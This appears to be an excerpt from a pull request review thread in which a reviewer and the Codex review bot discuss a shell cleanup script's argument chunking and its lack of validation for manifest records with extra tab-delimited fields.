Commit 7624dff is a correct and safe fix: printf '%s\0' … | xargs -0 du -sk is the idiomatic POSIX-safe way to chunk large argument lists under ARG_MAX, introduces no injection surfaces, and preserves the size_of["$path"] lookup semantics unchanged. No new security issues were introduced. All CRITICAL and IMPORTANT findings across 14 review rounds are resolved at HEAD. The three remaining items are all SUGGESTION-level and none is a blocker for merge.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 7624dfff20

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[chatgpt-codex-connector]

Reject manifest records with extra fields

When a caller-supplied or concurrently altered manifest line has a fourth tab-delimited field, this read stores the rest of the line in rel instead of treating the record as malformed. For example, caches\t1\t.pytest_cache\textra makes apply check for a path containing a tab, skip it as already gone, and exit with failed=0 while leaving .pytest_cache in place; if such a tab-containing path exists, it can also remove a path the dry-run intentionally refuses to encode. Validate that records have exactly three fields, or reject tab characters in rel, before the idempotent missing-path skip.

Useful? React with 👍 / 👎.